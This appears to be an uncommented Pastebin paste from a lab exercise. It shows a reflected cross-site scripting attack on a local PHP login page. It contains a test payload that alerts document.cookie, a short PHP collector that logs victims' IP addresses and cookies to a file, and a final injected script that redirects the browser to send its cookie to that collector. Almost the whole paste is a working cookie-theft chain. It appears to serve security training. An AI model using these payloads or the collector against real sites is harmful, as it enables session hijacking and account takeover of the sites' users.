Advertisement
Guest User

Untitled

a guest
Jan 23rd, 2017
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
  1. http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>
  2.  
  3. <?php
  4. $file = 'cookies_list.txt';
  5. $stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL;
  6. file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
  7. ?>
  8.  
  9. http://localhost/getcookies.php?c=test
  10.  
  11. http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement